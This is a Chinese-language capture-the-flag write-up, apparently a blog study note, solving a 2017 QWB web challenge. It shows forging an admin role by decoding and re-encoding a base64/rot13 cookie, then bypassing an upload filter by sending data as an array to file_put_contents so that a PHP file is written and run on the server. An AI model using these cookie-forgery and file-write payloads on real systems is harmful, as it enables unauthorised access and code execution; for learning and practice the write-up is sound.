2017強網杯 web 解題思路總結
阿新 • • 發佈:2019-02-03
寫這篇部落格的主要動機就是一邊總結,一邊學習,就當做是一篇學習筆記。
首先開啟題目連線,出現下圖所示,發現並沒有什麼有用的資訊
檢視原始碼,還是沒找到有用的資訊
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
Sorry. You have no permissions.</body>
</html>
1.初步思考
沒有提示,也沒有連線,那麼可能有以下幾種可能:
1.1 敏感檔案洩露;(目錄掃描)
1.2 跳轉;(抓包)
1.3 cookie / session。(檢視cookie)
2.cookie中的role
Zjo1OiJ0aHJmZyI7
base64解碼得到:f:5:"thrfg";
,將thrfg
rot13解密後得到guest
於是改為admin逆過去,admin
rot13轉換得到nqzva
,再將f:5:"nqzva";
base64編碼得到Zjo1OiJucXp2YSI7
修改cookie的值提交到伺服器,得到如下回應
檢視原始碼,發現線索$filename = $_POST['filename']; $data = $_POST['data'];
可以看到這是一個POST檔案上傳的操作,
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>
</html>
接下來,順著提示,藉助於瀏覽器器外掛hackbar,將filename=hh.php&data=<?php phpinfo(); ?>
POST出去,得到No No No!
檢視原始碼,沒啥有用的資訊
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
No No No!
猜測程式碼中有一個用來匹配的正則表示式
寫入檔案除了fopen fwrite fclose 還有一種file_put_contents 這個允許data是陣列 (不能是多維陣列);
所以改為:
filename=hh.php&data=[]<?php phpinfo(); ?>
再次POST,
得到了一個地址./uploads/d8bc6a3fb97ef6d2aec73924ea7c9409hh.php
,訪問該地址
拿到flag